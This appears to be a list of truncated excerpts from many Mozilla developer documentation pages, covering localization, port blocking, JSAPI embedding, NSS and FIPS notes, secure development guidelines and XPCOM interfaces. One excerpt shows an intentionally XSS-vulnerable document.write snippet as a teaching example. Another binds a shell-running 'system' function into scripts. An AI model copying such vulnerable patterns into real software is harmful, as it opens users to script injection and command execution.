web service called Bit Bucket to start the learning process. Note: You must have Mercurial configured before you begin. That step is back on the initial setup page. If you haven't done that yet, don't worry, we'll wait for you! Pushing to your repository There are a couple of things you should take note of before you push to your repository: Make sure that your files have been encoded in Unicod...
Setting up the infrastructure
First, make your project's file type decision (see Localization Formats for details): HTML/PHP .lang gettext (.po) Assuming you chose gettext, you'll need to follow the steps below to set up the infrastructure for localizing your
web application. Requirements: PHP with gettext support, Apache and some Unix experience. Create a new branch for l10n (optional if starting a new project). Create a locale directory in your
website (usually something like DOCROOT/locale). Copy the shell scripts from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all English strings from your application's directories specified in SOURCE_DIRS, merge the resulting template (*.pot) file with the existing (already containing translations) messag...
...ges almost in real-time. stats-po.sh will give you a bird's-eye view on the statistics of translated, fuzzy and missing strings for each locale. Create en-US locale (locale/LC_MESSAGES/) in the locale folder. Create an empty filed named messages.po in the locale/LC_MESSAGES folder. Create new locales by repeating steps 4 and 5 for each of them. Review the English content following the
web content localizability guidelines. Review your code following the
web applications localizability guidelines. Run extract-po.sh. Restart Apache to reload gettext files (necessary for any text changes). Merge the l10n branch back to main trunk (if the l10n branch was created in step 1). Copy files over to SVN. Set up the staging server. Set up a cronjob to svn up every n minutes. Se...
What every Mozilla translator should know
le as mozilla.dev.l10n, .l10n in short. Discussion about localization take part here just as well as l10n-focused announcements. Planning list Also available as mozilla.dev.planning, .planning in short. The Mozilla project discusses general planning and schedule questions here. Discussions of interest to the general Mozilla developer community are at least notified here. Translate the Mozilla
web or mozilla.dev.l10n.
web, we moved announcements and discussions about the translation of the Mozilla
web pages to this group. All these groups are pretty low traffic. To keep the track of what's going on, it's also a good idea to read the Planet Mozilla L10N When you have a problem Use the above mailing lists The person in charge of the Mozilla l10n is Axel Hecht (l10n at mozilla.com), ...
...Here we can easily have a look into other languages translations. Bugzilla, the bug-tracking system You do need an account in Bugzilla You should configure the account to Watch the following addresses: firefoxl10n@hotmail.com calendar-l10n@mozilla.bugs (specific for calendar related bugs) This way you will receive mail for bugs affecting many ...
Updates
y worth noting: A new HTML parser, which lets you use MathML inside non-XHTML documents. Complete support for STIX fonts 1.0. Better rendering of mathematical symbols, especially stretchy operators. October 21, 2010 MathML 3.0 is now a W3C recommendation! June 11, 2010 STIX Fonts Version 1.0 are now compatible with trunk. May 28, 2010 STIX Fonts Version 1.0 Released. April 2010 New
Web pages for the Mozilla MathML Project! Documentation is now available on MDC and wiki.mozilla.org. Feel free to complete and improve it! May 8, 2007 Mozilla CEO speaks out on the future of Firefox: the complete 8,000 word interview. Interview to the APC Magazine where Mitchell Baker mentions Roger Sidje's work on MathML. June 5, 2002 Mozilla 1.0 Released "By virtue of embedding Gecko, Mozill...
...s now available on MDC and wiki.mozilla.org. Feel free to complete and improve it! May 8, 2007 Mozilla CEO speaks out on the future of Firefox: the complete 8,000 word interview. Interview to the APC Magazine where Mitchell Baker mentions Roger Sidje's work on MathML. June 5, 2002 Mozilla 1.0 Released "By virtue of embedding Gecko, Mozilla 1.0 and products based on Mozilla code support more
web standards, more deeply, more consistently across more platforms than any others. Mozilla 1.0 features full support for HTML 4.0, XML 1.0, Resource Description Framework (RDF), Cascading Style Sheets level 1 (CSS1), and the W3C Document Object Model level 1 (DOM1) [...] as well as support for display of mathematical equations using MathML." December 7, 2001 Status Report October 2000 The first...
Mozilla Port Blocking
can access ports. By default, Mozilla now blocks access to specific ports which are used by vulnerable services in order to prevent security vulnerabilites due to "Cross-Protocol Scripting". Each protocol's handler can override this blocking for itself in order to enable the required access for that protocol. Potential Problems caused by Port Blocking Port blocking can cause problems if a site or
web application requires access to one of the ports which is blocked in Mozilla. If a user attempts to access a URI on a blocked port, Mozilla shows one of the following alerts to the user or in the Error Console. "Access to the port number given has been disabled for security reasons." "Establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (NS_ERROR_PORT_ACCESS_...
...ne of the ports which is blocked in Mozilla. If a user attempts to access a URI on a blocked port, Mozilla shows one of the following alerts to the user or in the Error Console. "Access to the port number given has been disabled for security reasons." "Establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (NS_ERROR_PORT_ACCESS_NOT_ALLOWED)" If your product or
web site uses a port which is blocked by Mozilla's default port blocking rules, you can either change the port of your service to a unblocked value (recommended if possible) or ask your Mozilla users to enable the port. For details on which ports are blocked and how to override the blocking see below. Modifying Mozilla's port blocking at Run time Users can modify the default port blocking through the...
Mozilla Development Tools
ut source code from one of these is preferable to downloading an archived snapshot, as you get up-to-the-minute changes. MXR You can browse the up-to-the-minute latest version of the source code online through a massively-hyperlinked source code browser (based on LXR) that lets you cross-reference function and variable names. Bonsai Bonsai is tree control (get it?). It is our home-grown
web-based tool for watching the up-to-the-minute goings-on in our CVS repository (viewing checkins and log messages, reading diffs, etc.) Tinderbox Tinderbox is for knowing when the tree is in flames. It is our home-grown
web-based tool for watching the progress of the continuous builds that we run on multiple platforms. It is how we are able to tell when a checkin has broken the build on some p...
...or watching the progress of the continuous builds that we run on multiple platforms. It is how we are able to tell when a checkin has broken the build on some platform, and how we know which person needs to be viciously flogged. Bugzilla Bugzilla is where developers can report bugs in the Mozilla source releases, and browse an online database of already-reported bugs. Doctor Doctor is a
web interface to CVS. It lets developers and others edit pages on the mozilla.org
web site without having to use CVS. Doctor lets you edit pages in WYSIWYG mode if the pages contain the <?doctor enable_wysiwyg_mode ?> processing instruction. Access Doctor by clicking the "Edit this Page" link at the bottom of any mozilla.org
web page. Original Document Information Author(s): Myk Melez Last Upd...
Scroll-linked effects
This article discusses scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques. Scrolling effects explained Often scrolling effects are implemented by listening for the scroll event and then updating elements on the page in some way (usually the CSS position or transform property.) You can find a sampling of such effects at CSS Scroll API: Use Cases. ...
...ects in the compositor. In order to do so, we need you (yes, you!) to tell us more about the kinds of scroll-linked effects you are trying to implement, so that we can find good ways to support them in the compositor. Currently there are a few proposals for APIs that would allow such effects, and they all have their advantages and disadvantages. The proposals currently under consideration are:
Web Animations: A new API for precisely controlling
web animations in JavaScript, with an additional proposal to map scroll position to time and use that as a timeline for the animation. CompositorWorker: Allows JavaScript to be run on the compositor thread in small chunks, provided it doesn't cause the framerate to drop. Scroll Customization: Introduces a new API for content to dictate how a scrol...
about:memory
ll open a file dialog that lets you save the memory reports to a file of your choosing. (The filename will have a .json.gz suffix.) You can then attach or upload the file appropriately. The recipients will be able to view the contents of this file within about:memory in their own Firefox instance. If you are using a communication channel where only text can be sent, such as a comment thread on a
website, click on the "Measure..." button. This will cause a tree-like structure to be generated text within about:memory. This structure is just text, so you can copy and paste some or all of this text into any kind of text buffer. (You don't need to take a screenshot.) This text contains fewer measurements than a memory reports file, but is often good enough to diagnose problems. Don't click "Measu...
...) This text contains fewer measurements than a memory reports file, but is often good enough to diagnose problems. Don't click "Measure..." repeatedly, because that will cause the memory usage of about:memory itself to rise, due to it discarding and regenerating large numbers of DOM nodes. Note that in both cases the generated data contains privacy-sensitive details such as the full list of the
web pages you have open in other tabs. If you do not wish to share this information, you can select the "anonymize" checkbox before clicking on "Measure and save..." or "Measure...". This will cause the privacy-sensitive data to be stripped out, but it may also make it harder for others to investigate the memory usage. Loading memory reports from file The easiest way to load memory reports from fil...
Emscripten
Emscripten is an LLVM to JavaScript compiler. It takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into JavaScript, which can be run on the
Web. Important: This page provides a very brief introduction to what Emscripten is. To get started with Emscripten, go to the official Emscripten Wiki. Using Emscripten, you can Compile C and C++ code into JavaScript Compile any other code that can be translated into LLVM bytecode into JavaScript. ...
...al Emscripten Wiki. Using Emscripten, you can Compile C and C++ code into JavaScript Compile any other code that can be translated into LLVM bytecode into JavaScript. Compile the C/C++ runtimes of other languages into JavaScript, and then run code in those other languages in an indirect way (this has been done for Python and Lua)! Emscripten makes native code immediately available on the
Web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from PCs to iPads. With Emscripten, C/C++ developers don't have the high cost of porting code manually to JavaScript -- or having to learn JavaScript at all.
Web developers also benefit, as they can use the many thousands of pre-existing native utilities and libraries in their sites. Pr...
FIPS Mode - an explanation
om one device to another, and consequently, all crypto engines and key storage must be in a single device rather than being split up into several devices. How does this affect Firefox users? These requirements have several implications for users. In FIPS Mode, every user must have a good strong "master password", and must enter it each time he starts or restarts Firefox before he can visit any
web sites that use cryptography (https). Firefox can only use the latest version of SSL, known as "TLS", and not the older SSL 2 or SSL 3.0 protocols, and Firefox can only talk to those servers that use FIPS standard encryption algorithms such as AES or triple-DES. Servers that can only use non-FIPS-approved encryption, such as RC4, cannot be used in FIPS mode. How is FIPS Mode different from no...
... or triple-DES. Servers that can only use non-FIPS-approved encryption, such as RC4, cannot be used in FIPS mode. How is FIPS Mode different from normal non-FIPS Mode? In normal non-FIPS Mode, the "master password" is optional and is allowed to be a weak short password. The user is only required to enter his master password to use his own private keys (if he has any) or to access his stored
web-site passwords. The user is not required to enter the master password to visit ordinary https servers, nor to view certificates he has previously stored. In non-FIPS mode, NSS is willing and able to use popular non-FIPS approved cryptographic algorithms, such as RC4 and MD5, to communicate with older https servers. NSS divides its operations up into two "devices" rather than just one. One dev...
NSS 3.18.1 release notes
.1 source distributions are available on ftp.mozilla.org for secure HTTPS download: Source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/NSS_3_18_1_RTM/src/ New in NSS 3.18.1 No new functionality is introduced in this release. This is a patch release to update the list of root CA certificates. Notable Changes in NSS 3.18.1 The following CA certificate had the
Websites and Code Signing trust bits restored to their original state to allow more time to develop a better transition strategy for affected sites. The
Websites and Code Signing trust bits were turned off in NSS 3.18. But when Firefox 38 went into Beta, there was a huge spike in the number of certificate verification errors attributed to this change. So, to give
website administrators more time to u...
...de Signing trust bits restored to their original state to allow more time to develop a better transition strategy for affected sites. The
Websites and Code Signing trust bits were turned off in NSS 3.18. But when Firefox 38 went into Beta, there was a huge spike in the number of certificate verification errors attributed to this change. So, to give
website administrators more time to update their
web servers, we reverted the trust bits back to being enabled. OU = Equifax Secure Certificate Authority SHA1 Fingerprint: D2:32:09:AD:23:D3:14:23:21:74:E4:0D:7F:9D:62:13:97:86:63:3A The following CA certificate was removed after discussion about it in the mozilla.dev.security.policy forum. CN = e-Guven Kok Elektronik Sertifika Hizmet Saglayicisi SHA1 F...
nss tech note7
a. It's used to support SSL2, which modifies the key encoding to include the SSL version number. PKCS #1 v1.5 Block Formatting Question: In PKCS #1 v1.5 (Section 8.1 Encryption-block formatting) and v2.1 (Section 7.2.1 Encryption operation), PKCS1 v1.5 padding is described like this: 00 || 02 || PS || 00 || M but in PKCS #1 v2.0 (Section 9.1.2.1 Encoding operation, Step 3) and on the W3C
web site (http://www.w3.org/TR/xmlenc-core/#rsa-1_5), PKCS1 v1.5 padding is described like this: 02 || PS || 00 || M 00 at the beginning is missing. Why? Answer: The version without the initial 00 says : "PS is a string of strong pseudo-random octets [RANDOM] [...] long enough that the value of the quantity being CRYPTed is one octet shorter than the RSA modulus" The version with the...
...ctet" are exactly the same thing because the formatted block is treated as a big-endian big integer by the RSA algorithm. ...
FOSS
Getting started here. ...
...om/mindbit/libjssql/wiki - a library that aims to provide a generic SQL API for JavaScript that is as similar as possible to JDBC Miscellaneous ServerJS, a standardization effort for the fragmented Server-side Javascript world 0 A.D., historical RTS game with JavaScript scripting http://soubok.googlepages.com/javascript Malzilla - tool for hunting malware by deobfuscating JavaScripts on
web pages, using SpiderMonkey ...
JSAPI User Guide
unctionSpec myjs_global_functions[] = { JS_FS("rand", myjs_rand, 0, 0), JS_FS("srand", myjs_srand, 0, 0), JS_FS("system", myjs_system, 1, 0), JS_FS_END }; ... if (!JS_DefineFunctions(cx, global, myjs_global_functions)) return false; ... Once the functions are defined in global, any script that uses global as the global object can call them, just as any
web page can call alert. In the environment we have created, the "hello world" script looks like this: system("echo hello world"); JSAPI Concepts This section aims to fill in the major gaps in the picture of the JSAPI presented so far. To do anything useful with SpiderMonkey, you must read all three sections. JavaScript values Main article: JS::Value JavaScript is a dynamically typed language:...
...nd start over. Fine-grained security Another way to keep a snake from eating a mouse is to watch the snake constantly, and if it tries to eat the mouse, intervene. SpiderMonkey is designed to support custom, application-defined security models. For example, the Firefox browser has a complex and powerful security model. Some JavaScript code ("chrome") has full access to the system. Scripts from
web pages ("content") have very limited access. The same origin policy governs a script's access to data and functions from other
web pages. The SpiderMonkey security model is based on the Java principals security model. This model provides a common security interface, but the actual security implementation is up to you. To use SpiderMonkey's fine-grained security features: Decide what securi...
JS::CompileOptions
be in a request on this JSContext. version JSVersion JavaScript version used to compile the script. Methods Some methods of JS::OwningCompileOptions and JS::CompileOptions return the instance itself to allow method chain. Methods of JS::ReadOnlyCompileOptions Method Description bool mutedErrors() const Determines if errors are muted. The
Web Platform allows scripts to be loaded from arbitrary cross-origin sources. This allows an attack by which a malicious
website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents. To counter this attack, HTML5 specifies that script errors should be sanitiz...
... introductionType const char A statically allocated C string: one of following in general: "eval" - code passed to eval "Function" - code passed to the Function constructor. "GeneratorFunction" - code passed to the GeneratorFunction constructor. In addition to above, the following are used in browser: "Worker" - code loaded by calling the
Web worker constructor--the worker's main script. "importScript" - code by calling importScripts in a
web worker. "eventHandler" - code assigned to DOM elements' event handler IDL attributes as a string. "scriptElement" - code belonging to <script> elements. "javascriptURL" - code presented in javascript: URLs. "setTimeout" - code passed to setTimeout as a string. "setIn...
Shell global objects
isAsmJSModuleLoadedFromCache(fn) Return whether the given asm.js module function has been loaded directly from the cache. This function throws an error if fn is not a validated asm.js module. isAsmJSFunction(fn) Returns whether the given value is a nested function in an asm.js module that has been both compile- and link-time validated. wasmIsSupported() Returns a boolean indicating whether
WebAssembly is supported on the current device. wasmTextToBinary(str) Translates the given text wasm module into its binary encoding. wasmBinaryToText(bin) Translates binary encoding to text format wasmExtractCode(module) Extracts generated machine code from
WebAssembly.Module. isLazyFunction(fun) True if fun is a lazy JSFunction. isRelazifiableFunction(fun) Ture if fun is a JSFunction with...
...ermine whether the corresponding types may be serialized (value allow, the default) or not (value deny). If denied types are encountered a TypeError will be thrown during cloning. Valid keys: SharedArrayBuffer. deserialize(clonebuffer) Deserialize data generated by serialize. detachArrayBuffer(buffer) Detach the given ArrayBuffer object from its memory, i.e. as if it had been transferred to a
WebWorker. helperThreadCount() Returns the number of helper threads available for off-main-thread tasks. reportOutOfMemory() Report OOM, then clear the exception and return undefined. For crash testing. throwOutOfMemory() Throw out of memory exception, for OOM handling testing. reportLargeAllocationFailure() Call the large allocation failure callback, as though a large malloc call failed, the...
Split object
ciated with different inner objects at different times. This feature is complicated. Programs other than Mozilla that embed SpiderMonkey should avoid using split objects. The window object Split objects were introduced to resolve a problem posed by the window object. Three interrelated requirements on the window object seemed to conflict. The window object is the global object for scripts in
Web pages. Firefox has to maintain this for
Web compatibility. For performance, access to global properties must be fast. There is a glaring difference in the lifetime of the window object as seen from two different angles. Suppose a script in page A, in tab TA, has a reference to the window object of page B in another tab TB. The window object for tab TB must persist as the user navigates fr...
...glaring difference in the lifetime of the window object as seen from two different angles. Suppose a script in page A, in tab TA, has a reference to the window object of page B in another tab TB. The window object for tab TB must persist as the user navigates from page to page in that tab. To the script in page A, the window must appear to be a single object that moves from page to page. But each
web page must load with fresh globals. (The problem is even a bit subtler than this, since the reference may be direct or indirect. The script in A might have opened TB by calling window.open, which returns a direct reference to TB's window. More indirectly, suppose there's a JavaScript function defined in page B that refers to global variables in page B. If page A gets a reference to that function...
The Rust programming language
sed generics, pattern matching, type inference, and efficient C bindings, with a minimum runtime size. To learn more about Rust, you can: Watch the videos below for a closer look at the power and benefits Rust provides. ...
...re about Rust, you can: Watch the videos below for a closer look at the power and benefits Rust provides. Read the book The Rust Programming Language online. ...
Secure Development Guidelines
XSS: Example The following snippet of JavaScript: document.write("Welcome to " + document.location); ... is exploitable (in some browsers) with a simple request su...
... XSS: Example The following snippet of JavaScript: document.write("Welcome to " + document.location); ... ...
Security and the jar protocol
iNotes has since been updated so that it no longer needs remote jars, so they have been disabled again in Firefox 55. You may re-enable the feature if necessary by setting the network.jar.block-remote-files preference to false. Java Archive (JAR) files are simply Zip compressed bundles of files. ...
...ication/zip, regardless of what it actually was). This means that no matter what the file's real contents are, as far as Firefox is concerned, it was a Zip archive. This ordinarily isn't a big deal, since site developers wouldn't put up dangerous files and set them up to download like Zip archives. However, if a site allows file uploads, Zip files are typically treated as relatively innocuous by
web sites in that situation, since they're not executable. Unless, of course, the browser thinks it's a JAR file. So starting with Gecko 1.8.0.15 and 1.8.1.10, the jar: protocol is only allowed if the MIME type of the file is application/java-archive. A site that serves a file with that type is essentially promising that it has vetted the content and that it is in fact safe to download and execute.
Browser security
An important aspect of developing code for any browser, including Firefox, as well as any
Web-oriented project, is its security. These articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. A
Web PKI x509 certificate primerX.509 (in this document referred as x509) is an ITU standard to describe certificates. This article provides an overview of what these are and how they work.Exploitable crashesThis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.Handling Mozilla Security BugsThis document describes how the new security organizational structure will work, and how security-related Mozilla bug reports will ...
... ...
Embedded Dialog API
Posing Gecko dialogs in embedding applications Problem Statement An application embedding Gecko cannot tightly control its own windows and still allow Gecko to be a fully functional
web browser. In any single window, Gecko can be expected to play nicely within its given boundaries. But it must be allowed to create additional windows at times perhaps unexpected by the containing appliction. These new windows can be entire new browser windows opened in response to
web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser. Part of Gecko's embedding API is callbacks into the embedding application for creating new windows. The complete windowing portion of the API is large and complex, but it need not be entirely implemented. Its s...
...anced API) has been given, and for browser windows in general. The precise appearance and contents of the new window are defined by the application, though the app should conform to the chromeFlags parameter of nsIWindowCreator::createChromeWindow. This flag requests the presence or absence of particular features in the window surrounding the browser; features such as a toolbar or menubar. The nsI
WebBrowserChrome::CHROME_OPENAS_CHROME flag deserves special mention. A content window (the chrome flag is 0) is a browser window. The application should respond with whatever kind of window it normally uses to contain an embedded instance of Gecko. A chrome window (the chrome flag is 1) should contain only an embedded instance of Gecko. This is the kind of window used by Gecko to display XUL dialogs...
The Publicity Stream API
application messaging system. Accessing the API The publicity API can be enabled by including a javascript library. This library will detect whether native API support is enabled by the user's browser, if not it will shim in a pure HTML implementation. [is this still doable?] The javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js All APIs related to open
web applications are accessed under the navigator.apps object. Publicity Stream API (navigator.apps.publicity.*) The publicity API is exposed as properties on the navigator.apps.publicity object. publicizeActivity( <activity>, [ { [ onsuccess: <function> ], [ onerror: <function> ] } ]): Applications should call this method when an user-initiated activity deemed attractive to potential consumer...
...he activity contains semantic errors (i.e. missing required properties) Finally, the publicizeActivity() function will throw an exception if required arguments are missing, or if unsupported arguments are present. getPublicityStream( onsuccess: <function>, { [ onerror: <function> ], [ for_apps: <list> ], [ since: <Date> ], [ before: <Date> ], [ count: <int> ]): Provides a means for a
web store to receive a list of the current user's socially relevant app activity by being called from an origin which hosts a
web store. It is not recommended that applications consume the publicity stream in any way (please use your own server for any in-app social aspects). It is suggested that the list be processed and condensed into an attractive, cohesive format for users (eg., multiple tweets s...
XML Extras
its XML-as-data features both to JavaScript and C++/XPCOM users. The XML Extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds. Feature Status Feature Status XMLSerializer Available XMLHttpRequest Available DOMParser (string and stream input source) Available
Web Services with SOAP and WSDL No longer available from Gecko 1.9/Firefox 3. XML Persistence FIXptr and XPointer Available since 1.4alpha in the core Mozilla. Moved to XML Extras during 1.4beta. See also: XML in Mozilla document.load() A few examples dealing with XML from MozillaZine Knowledge Base. QA and Testing There are some online tests for mainly exe...
... DOMParser object's parseFromString() method to create a document from string, and pass the temporary document into send(). XMLHttpRequest.open("aHost") ok file:// documents can access http:// documents but you need to enable UniversalBrowserRead privilege in your scripts - see the JavaScript Security: Signed Scripts document for more details. Normally your files should reside on a
webserver so this shouldn't pose a problem (there you do not need that line either). Additionally, "foo.com:80" and "foo.com:313" are considered different hosts for security purposes. You cannot open a connection to a different host. DOMParser Creation not available new DOMParser() XMLSerializer Creation not available new XMLSerializer() Minimal documentation for ...
Components.utils.Sandbox
2.10), if you don't specify a sandbox name it will default to the caller's filename. sandboxPrototype A prototype object for the sandbox. The sandbox will inherit the contents of this object if it's provided. Passing a content window object, setting wantXrays:true (default) and using an extended principal provides a clean, isolated execution environment in which javascript code that needs
Web APIs (such as accessing the window's DOM) can be executed without interference from untrusted content code. wantComponents A Boolean indicating whether the Components object is available or not in the sandbox. Default: true. If the sandbox interacts with untrusted content this should be set to false when possible to further reduce possible attack surface. wantExportHelpers A Boole...
...ect that you want to make available as a global to code running in the sandbox. The exception is "-Promise": the Promise constructor is available by default for sandboxes, and you use this option to remove it from the sandbox. Note that "-Promise" is removed in Firefox 37. ...
Language bindings
ivileged JavaScript context. The result is structured cloned back to the original context, unless it is native (for example, if it returns a DOM node, this is not structured cloned, because the original context will see that through an XrayWrapper already), so it's guaranteed to behave predictably. This is useful for privileged code, such as add-on code, to access variables and APIs defined in
web content.Components.utils.exportFunctionThis function provides a safe way to expose a function from a privileged scope to a less-privileged scope.Components.utils.forceGCComponents.utils.forceGC lets scripts force a garbage collection cycle. The Mozilla JavaScript engine will perform garbage collection automatically when the JavaScript heap grows beyond a certain size. This mechanism doesn't accou...
...sharing code between different scopes easily. For example, you can import XPCOMUtils.jsm to avoid copy/pasting long XPCOM component registration boilerplate in your component files.Components.utils.importGlobalPropertiesImports various objects into a system scope.Components.utils.isXrayWrapperWhen privileged JavaScript in Gecko accesses objects belonging to less-privileged code (such as untrusted
web content), it does so, by default, with "Xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways. For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native properties have been redefined, this has no effect.Compon...
nsIAbstractWorker
dom/interfaces/threads/nsIDOMWorkers.idlScriptable This interface is an abstract interface used to implement the
web workers architecture. 1.0 66 Introduced Gecko 1.9.1 Inherits from: nsIDOMEventTarget Last changed in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0) Attributes Attribute Type Description onerror nsIDOMEventListener The error listener for the worker. ...
...MWorkers.idlScriptable This interface is an abstract interface used to implement the
web workers architecture. 1.0 66 Introduced Gecko 1.9.1 Inherits from: nsIDOMEventTarget Last changed in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0) Attributes Attribute Type Description onerror nsIDOMEventListener The error listener for the worker. ...
nsICharsetResolver
intl/chardet/public/nsICharsetResolver.idlScriptable Please add a summary to this article. Inherits from: nsISupports Last changed in Gecko 1.7 Method overview void notifyResolvedCharset(in ACString charset, in nsISupports closure); ACString requestCharset(in nsI
WebNavigation a
WebNavigation, in nsIChannel aChannel, out boolean aWantCharset, out nsISupports aClosure); Methods notifyResolvedCharset() Some implementations may request that they be notified when the charset is actually detected. void notifyResolvedCharset( in ACString charset, in nsISupports closure ); Parameters charset The detected charset. closure The closure returned by requestCharset(). requestCharset() Called to resolve the charset that should be used for parsing the document being loaded fro...
...If the charset cannot be resolved, but the implementation of nsICharsetResolver wants to be notified of the final resolved charset when one is available, it can set aWantCharset to true. If this is done, the caller of requestCharset is responsible for calling notifyResolvedCharset() and passing it the final resolved charset and the closure that requestCharset set. ACString requestCharset( in nsI
WebNavigation a
WebNavigation, in nsIChannel aChannel, out boolean aWantCharset, out nsISupports aClosure ); Parameters a
WebNavigation The nsI
WebNavigation the document is being loaded in. May be null. aChannel The channel the document is coming in from. aWantCharset Gets set to true if notifyResolvedCharset() should be called with the given aClosure object. aClosure A resulting object which s...
nsIConsoleService
It is used to log various messages, warnings, and errors and to obtain the logged messages. ...
...sIScriptError.warningFlag = 1 nsIScriptError.exceptionFlag = 2 and nsIScriptError.strictFlag = 4. aCategory -- a string indicating what kind of code caused the error message. There are quite a few category strings and they do not currently seem to be listed in a single place. Hopefully, they will all eventually be listed in nsIScriptError.idl. See also Error Console (deprecated)
Web Console Browser Console nsIConsoleMessage ...
nsIDOMFile
Note that in Gecko, this interface currently inherits from nsISupports, but in the File API specification, it should be a Blob. ...
... Note that in Gecko, this interface currently inherits from nsISupports, but in the File API specification, it should be a Blob. ...
nsIDOMHTMLAudioElement
ts from: nsIDOMHTMLMediaElement Method overview unsigned long long mozCurrentSampleOffset(); void mozSetup(in PRUint32 channels, in PRUint32 rate); [implicit_jscontext] unsigned long mozWriteAudio(in jsval data); Methods mozCurrentSampleOffset() Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. Returns the current offset of the audio stream, specified as the number of samples that have played since the beginning of the stream. unsigned long long mozCurrentSampleOffset(); Parameters None. Return value An unsigned 64-bit value indicating ho...
...number of samples that have played since the beginning of the stream. unsigned long long mozCurrentSampleOffset(); Parameters None. Return value An unsigned 64-bit value indicating how many audio samples have been played since the stream began playing. mozSetup() Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the
Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. Sets up the audio stream for writing. void mozSetup( in PRUint32 channels, in PRUint32 rate ); Parameters channels The number of audio channels the audio stream should use. Specify 1 for mono or 2 for stereo. rate The sampling rate to use on ...
nsIDOMWindowUtils
lauseLength aSecondClauseAttr aThirdClauseLength aThirdClauseAttr aCaretStart aCaretLength sendTouchEvent() Synthesizes a touch event and sends it to the window. This method supports multiple touches of the same type, but not multiple touches on the screen of different types. Note: This method cannot be called from unprivileged content; that is, it's not accessible from
web content. It will throw a DOM security error if called without UniversalXPConnect privileges. The event is dispatched via the top-level window, so it could go to any window under that top level. In some cases, it may not even reach the target window, if one of those other windows accepts it. boolean sendTouchEvent( in AString aType, [array, size_is(count)] in PRUint32 aIdentifiers, [array,...
...yond the document's bounds. The value of the pixels rendered outside the document bounds is not yet defined. The caller of this method must have UniversalXPConnect privileges. void setDisplayPort( in float aXPx, in float aYPx, in float aWidthPx, in float aHeightPx ); Parameters aXPx aYPx aWidthPx aHeightPx setResolution() Get/set the resolution at which rescalable
web content is drawn. Currently this is only (some) thebes content. Setting a new resolution does *not* trigger reflow. This API is entirely separate from textZoom and fullZoom; a resolution scale can be applied together with both textZoom and fullZoom. The effect of is API for gfx code to allocate more or fewer pixels for rescalable content by a factor of |resolution| in either or both dimensions.
nsIDragDropHandler
s should attach (something that implements nsPIDOMEventTarget which is what we end up using under the hood). content/base/public/nsIDragDropHandler.idlScriptable Please add a summary to this article. ...
...thod overview void detach(); void hookupTo(in nsIDOMEventTarget attachPoint, in nsI
WebNavigation navigator); Methods detach() Unregisters all handlers related to drag and drop. void detach(); Parameters None. hookupTo() Attaches drag handlers to a specified receiver, setting up callbacks to let built-in behaviors be overridden. void hookupTo( in nsIDOMEventTarget attachPoint, in nsI
WebNavigation navigator ); Parameters attachPoint The receiver to which to attach drag handlers. navigator The nsI
WebNavigation object to handle the dropped URLs. If this is NULL, the client must handle the drop itself, either through the method provided via overrideDrop() or by letting the event bubble up through the DOM. ...
nsIExternalProtocolService
Inherits from: nsISupports Last changed in Gecko 1.9 (Firefox 3) You can ask the external protocol service if it has an external handler for a given protocol scheme. And you can ask it to load the url using the default handler. ...
...ailto, and so on. Return value true if the protocol is exposed, false otherwise. loadURI() Used to load a URI via an external application. Might prompt the user for permission to load the external application. void loadURI( in nsIURI aURI, [optional] in nsIInterfaceRequestor aWindowContext ); Parameters aURI The URI to load. aWindowContext The window to parent the dialog against, and, if a
web handler is chosen, it is loaded in this window as well. This parameter may be ultimately passed nsIURILoader.openURI() in the case of a
web handler, and aWindowContext is null or not present,
web handlers will fail. loadUrl() Used to load a url via an external protocol handler (if one exists). void loadUrl( in nsIURI aURL ); Parameters aURL The url to load. setProtocolHandlerDefaults() Set ...
nsILivemarkService
FORMED_URI If the site URI annotation has somehow been corrupted (and can't be turned into an nsIURI) getLivemarkIdForFeedURI() Determines whether the feed URI is a currently registered livemark. long long getLivemarkIdForFeedURI( in nsIURI aFeedURI ); Parameters aFeedURI Feed URI to look for. Return value The ID of the livemark. getSiteURI() This method retrieves the URI of the
website associated with a livemark container. nsIURI getSiteURI( in long long container ); Parameters container The folder ID of a livemark container. Return value A nsIURI representing the URI of the
website; if the livemark container doesn't have a valid site URI, null will be returned. Exceptions thrown NS_ERROR_INVALID_ARG If the folder ID isn't known or identifies a folder that ...
...container, in nsIURI feedURI ); Parameters container The folder ID of a livemark container. feedURI nsIURI object representing the syndication feed URI. Exceptions thrown NS_ERROR_INVALID_ARG If the folder ID isn't known or identifies a folder that isn't a livemark container; also if the feedURI parameter isn't a valid nsIURI object. setSiteURI() This method sets the URI of the
website associated with a livemark container. void setSiteURI( in long long container, in nsIURI siteURI ); Parameters container The folder ID of a livemark container. siteURI nsIURI object representing the site URI, or null to clear the site URI for this livemark container. Exceptions thrown NS_ERROR_INVALID_ARG If the folder ID isn't known or identifies a folder that isn't a live...
nsIMsgWindow
checking this flag, you need to clear it before you start your operation since there's no convenient place to clear it. domWindow nsIDOMWindow The message window's global chrome window object. Set this to initialize the rootDocShell. Methods displayHTMLInMessagePane() Loads the specified HTML in the message pane. This is equivalent to calling LoadURI on the nsI
WebNavigation object with a data: URL specifying the HTML. void displayHTMLInMessagePane(in AString title, in AString body, in boolean clearMsgHdr); Parameters title Not used. body The HTML to display in the message pane. Note that the HTML is wrapped in <html> and <body> tags for you. clearMsgHdr ...
